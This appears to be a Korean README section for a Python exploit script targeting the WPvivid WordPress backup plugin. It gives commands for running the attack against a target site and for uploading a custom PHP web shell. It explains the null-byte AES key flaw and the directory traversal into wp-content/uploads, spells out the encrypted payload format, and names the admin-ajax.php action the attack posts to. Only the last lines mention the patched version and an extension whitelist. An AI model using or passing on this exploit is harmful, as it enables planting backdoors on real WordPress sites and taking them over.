의존성 설치

pip3 install pycryptodome requests

기본 익스플로잇

python3 wpvivi.py http://target.com

커스텀 웹셸

python3 wpvivi.py http://target.com --shell backdoor.php

python3 wpvivi.py http://target.com --code "" 기술적 설명: Null Byte Key: RSA 복호화가 실패하면 false를 반환하며, phpseclib는 이를 "\x00\x00\x00"으로 처리합니다. AES-128 ECB 키로 16개의 null 바이트를 사용합니다. Directory Traversal: 파일명이 검증되지 않아 ../../../../wp-content/uploads/shell.php 경로를 허용합니다. 페이로드 형식:

[len_key_hex(2 bytes)] + [key_hex] + [len_data_hex(16 bytes)] + [encrypted_data] 실행: POST를 /wp-admin/admin-ajax.php?action=wpvivid_action&wpvivid_action=send_to_site로 전송 wpvivid_content = base64(암호화된 페이로드) 탐지 및 완화:

0.9.124에서 패치됨:

• if ($key === false || empty($key)) return false; 확인
• 확장자 화이트리스트: zip,gz,tar,sql